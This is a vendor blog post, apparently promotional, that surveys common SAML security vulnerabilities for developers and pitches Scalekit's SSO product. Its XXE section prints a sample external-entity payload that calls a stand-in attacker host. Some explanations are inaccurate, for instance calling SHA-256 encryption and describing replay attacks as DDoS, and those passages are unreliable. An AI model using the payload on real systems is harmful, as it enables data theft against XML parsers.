DEV Community

Cover image for A SAML Security Vulnerability Handbook for Developers
The Scalekit Team for Scalekit Inc

Posted on • Originally published at scalekit.com

A SAML Security Vulnerability Handbook for Developers

One surefire way to get stuck in developer purgatory is developing a custom implementation of the Security Assertion Markup Language (SAML) protocol to enable enterprise single sign-on (SSO) authentication… without knowing exactly what you’re getting into.

Even if you’ve read our primer on SAML implementation, you still need to fully understand the scope of possible SAML vulnerabilities and the intricate requirements of developing proper and reliable resolutions. To give you a sense of that scope, let’s examine the common vulnerabilities you need to be aware of—not as a checklist that will declare your implementation ready to handle the stringent requirements of enterprise SSO, but as a peek into how many developer hours go into a secure SAML implementation.

What makes SAML open to vulnerabilities?

As an open standard for exchanging authentication and authorization information between IdPs and SPs, SAML is not inherently vulnerable—it’s merely a description of the handshake between your B2B SaaS product (Service Provider or SP) and the Identity Provider (IdP).

Still, the default SAML response, which is both unsigned and unencrypted, is an extraordinarily complex document:

<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="..." Version="2.0" IssueInstant="2024-04-15T01:01:48Z" Destination="https://app.your-saas.com/?login" InResponseTo="...">
  <saml:Issuer>https://idp-example.com/metadata</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="..." Version="2.0" IssueInstant="2024-04-15T01:01:48Z">
    <saml:Issuer>https://idp-example.com/metadata</saml:Issuer>
    <saml:Subject>
      <saml:NameID SPNameQualifier="https://your-saas.com/metadata" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">...</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="2024-05-15T09:01:48Z" Recipient="https://app.your-saas.com/" InResponseTo="..."/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2024-04-15T01:01:18Z" NotOnOrAfter="2024-01-18T06:21:48Z">
      <saml:AudienceRestriction>
        <saml:Audience>https://your-saas.com/metadata</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2024-04-15T01:01:48Z" SessionNotOnOrAfter="2024-05-15T09:01:48Z" SessionIndex="...">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">bob</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">bob@example.com</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">users</saml:AttributeValue>
        <saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
Enter fullscreen mode Exit fullscreen mode

As a developer, your first task—implementing an authentication system that can properly construct and parse assertions like the above SAML content—is easier said than done.

SAML is based on XML, which has no semantics or defined structure, making it difficult to write and harder to read at a glance. You’ll want to rely on parsers and helper libraries to do the heavy lifting, but there are hundreds of implementations covering all popular programming languages. Some might be wildly popular and seem vetted by the open-source community, but you have no guarantee they’ll work as expected. They could easily introduce new unexpected vulnerabilities into your authentication infrastructure.

Your second task is establishing a security baseline in your SAML implementation by enforcing signed and encrypted assertions, using an XML Signature (XMLDSig) and SHA-256 encryption, respectively. For your authentication system to exchange signed and encrypted messages, you’re dealing now with the infrastructure required to decrypt assertions using keys and safely store certificates, which goes far beyond most developers’ know-how.

These measures help protect your users’ data, but change the contents of your SAML responses and assertions dramatically:

<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="..." Version="2.0" IssueInstant="2024-04-15T01:01:48Z" Destination="https://app.your-saas.com/?login" InResponseTo="...">
  <saml:Issuer>https://idp-example.com/metadata</saml:Issuer>
  <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:SignedInfo>
      <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
      <ds:Reference URI="#pfxd32edc4b-4995-439f-ac61-a3eb7142995a">
        <ds:Transforms>
          <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
          <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        </ds:Transforms>
        <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
        <ds:DigestValue>0ZGpsHSqaCe2HHtvXVuEyLWgCa0=</ds:DigestValue>
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>...</ds:SignatureValue>
    <ds:KeyInfo>
      <ds:X509Data>
          <ds:X509Certificate>...</ds:X509Certificate>
      </ds:X509Data>
    </ds:KeyInfo>
  </ds:Signature>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:EncryptedAssertion>
    <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Type="http://www.w3.org/2001/04/xmlenc#Element">
      <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/>
      <dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
        <xenc:EncryptedKey>
          <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
          <xenc:CipherData>
            <xenc:CipherValue>...</xenc:CipherValue>
          </xenc:CipherData>
        </xenc:EncryptedKey>
      </dsig:KeyInfo>
      <xenc:CipherData>
        <xenc:CipherValue>...</xenc:CipherValue>
      </xenc:CipherData>
    </xenc:EncryptedData>
  </saml:EncryptedAssertion>
</samlp:Response>
Enter fullscreen mode Exit fullscreen mode

Think of these SAML snippets, and the language as a whole, like a recipe. They give you all the ingredients you need to implement secure authentication, and detail which steps your system must take at each phase of the SSO process… but if you mess up even one small detail, there’s no one to blame but yourself.

The most common SAML security vulnerabilities

An exhaustive exploration of all possible SAML vulnerabilities and viable remedies could take weeks, but if you’re just getting started with validation solutions and deciding whether to build or buy, here are 10 vulnerabilities you need to investigate.

We haven’t ordered these based on any definitions of severity, complexity, or ease of remediation. Why? Because when you’re dealing with enterprise-grade authentication, even the “smallest” vulnerability hurts your trust, costs you customers, and exposes their confidential information to attackers.

XML signature wrapping (XSW)

  • What is it? Attackers can use XSW to inject forged elements into a SAML assertion while not affecting the validity of the signature. For example, every SAML assertion contains an attribute relating to a user’s privileges within your SaaS, like user, editor, and admin. Using an XSW attack, an attacker could change a user’s privileges from user to admin, giving them widespread access to read or download confidential data from one of your customers.

  • How do you prevent it? At a minimum, you need to validate the schema of SAML assertions using local, trusted copies and verify all signatures with a trusted certificate. You should also validate user input for unexpected values.

Lateral movements from non-intended responses

  • What is it? An improper SAML implementation might validate an assertion signed with a shared private signing key. After being authenticated once for SSO, the attacker could then move across all SaaS apps integrated into your IdP.
  • How do you prevent it? Validate whether the SAML response is intended for your app and discard any mismatches using zero-trust or least-privilege methodology.

Eavesdropping, theft, and man-in-the-middle attacks

  • What is it? SAML messages often contain details about the user and their attributes, similar to the XSW vulnerability and an admin account. An attacker capable of accessing these attributes of user accounts gains valuable information about the logic behind your authentication system and narrows their targets for social engineering attacks directly against users with the most privileges.
  • How do you prevent it? Ensure your SAML implementation sends all assertions over HTTPS at a minimum. You should also extend your protection with strong encryption like AES-256 with the Algorithm attribute like so:
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
Enter fullscreen mode Exit fullscreen mode

Expired messages

  • What is it? If an attacker intercepts or steals a SAML message, they can exploit that later to impersonate a real user. If your SAML implementation doesn’t expire assertions after a specific time, you’ve given your attacker far more time to fine-tune and perfect their strategy for exploiting your authentication system or your users’ data.
  • How do you prevent it? Use the NotBefore and NotOnOrAfter attributes available from the SAML standard to create a timeline in which your SAML implementation will validate assertions. Given some leeway for clock skew, any messages outside the window must be rejected.

Open redirects

  • What is it? For the best user experience, most authentication mechanisms redirect users directly into the SaaS after they successfully log in. When you’re working with enterprise-grade SSO, you can use the RelayState attribute in SAML to specify the redirect URL. If an attacker learns how your SAML implementation processes redirects using query strings, they can inject a new URL to redirect users toward a phishing site.
  • How do you prevent it? Create an allowlist of trusted URLs in your SAML implementation to redirect users after they complete authentication for the best balance of user experience and user security. Always validate whether the SAML assertion’s RelayState attribute contains one of these hardcoded URLs.

Round-trip attacks in vulnerable XML parsers

  • What is it? When your SAML implementation parses and serializes an assertion multiple times during the required handshakes between the user, IdP, and SP, bugs in XML parsers can introduce bugs that change the assertion’s shape. Attackers can use stolen or forged assertions to explore your authentication system for the presence of buggy XML parsers. With that information, they can craft specific strings to bypass your authentication system and log in as a real user.
  • How do you prevent it? Use only well-known and recently updated open-source libraries for parsing XML. Run npm audit, or a similar command for your language/framework, to find vulnerable versions of SAML libraries you use in production.

Signature exclusion

  • What is it? Poorly-designed SAML implementations can entirely skip signature validation, or check only the signature in the first assertion of many. Attackers can use forged and unsigned documents to bypass those insufficient checks and access your users’ data.
  • How do you prevent it? Only allow SAML responses that are fully signed, and validate that every assertion in the SAML exchange is signed.

Replay attacks

  • What is it? These are like a distributed denial of service (DDoS) attack but targeting authentication providers, taking down your authentication services or dramatically spending what you spend on authentication requests.
    • How do you prevent it? Implement HTTPs in all your requests and responses and never expose the SAML response to the browser.

XML External Entity (XXE)

  • What is it? SAML assertions can reference external entities through a Document Type Definition (DTD). An improperly configured XML parser would access the external entity and execute its payload, putting your authentication system at risk of a DDoS attack or attackers access to confidential information.
<!DOCTYPE Response [<!ENTITY attack SYSTEM "http://example.com/attack-payload.xml">]>
<samlp:Response ...>...</saml2p:Response>
Enter fullscreen mode Exit fullscreen mode
  • How do you prevent it? Disallow your XML parser from fetching and processing DTDs and enforce Content Security Policy (CSP) headers on all SAML requests. Implement monitoring for filesystem reads or unexpected network requests.

Certificate faking

  • What is it? Attackers can use self-signed certificates with their SAML assertions to help them figure out whether a SP verifies that a trusted IdP signs your SAML. Certificate faking is not an attack itself but reveals opportunities for attackers to perform one of the above attacks more knowledgeably.
  • How do you prevent it? Ensure your implementation only validates SAML messages signed by a trusted IdP.

How do you identify SAML security vulnerabilities?

Part of the problem with developing an in-house SAML implementation is that you’re not only diving deep into an extraordinarily complex protocol and parser ecosystem but also constantly weighing security versus user experience. Automatically redirecting authenticated users into your SaaS is a positive and now-expected user experience, but implementing it as a developer is non-trivial.

Every nicety and feature you deliver to your SaaS users has downstream effects that could dramatically increase the horizon in which you can develop, secure, and deploy your SAML implementation.

You must still decide whether to build or buy your path toward enterprise-ready authentication with SAML. That starts with estimating the developer hours you’d need and weighing that against the all-in cost of going with an existing provider—and the time you’d win back by not doing it yourself.

If you’re going to build your own SAML implementation:

Start by understanding all the vulnerabilities and preventative measures listed above, but recognize that these are just a small subset of the possible SAML vulnerabilities and SSO security measures you should be concerned about. Stay on top of the latest security research from OASIS Open and OWASP regarding newly discovered vulnerabilities.

First off, do not attempt to write your own XML parser. XML and SAML have been around for decades, and security researchers are still discovering and fixing new exploits in popular parsers—you won’t be able to build a more secure implementation without tens of thousands of hours at extraordinary cost.

During your development work, use only modern and updated SAML/XML libraries, and beware when implementing backward compatibility with older XML parsers, which may introduce vulnerabilities you thought you’d solved. To actively test your implementation, use dynamic application security testing (DAST) tools, a SAML-specific tool like SAML Raider, or webapps like Mock SAML.

Your concerns then go beyond pure development work. After deployment, you should also implement a complimentary observability platform for real-time insights into the volume and nature of your SAML requests. To help your DevOps/SecOps/IT administration peers, you should also implement error handling and logging—they’ll need this valuable information in a user-friendly environment to troubleshoot issues and catch incidents before they become outages.

Finally, consider the ongoing maintenance cost—not just of keeping your SSO service functioning but also of regularly auditing your IdP and SP configurations for SAML best practices.

If you’re buying a SAML implementation:

You’ll be in luck with a product like Scalekit, which uses SAML for enterprise-ready SSO authentication. Instead of wading through vulnerability scans and maintaining a massively complex security posture, you can leverage all the expertise and constant improvement of a dedicated team focused solely on building the most secure B2B authentication.

Without upfront development and maintenance costs, you can achieve your goal of providing seamless authentication for your users in a fraction of the time—time you could spend far more profitably building a product your users can’t help but log in to again and again.

Top comments (0)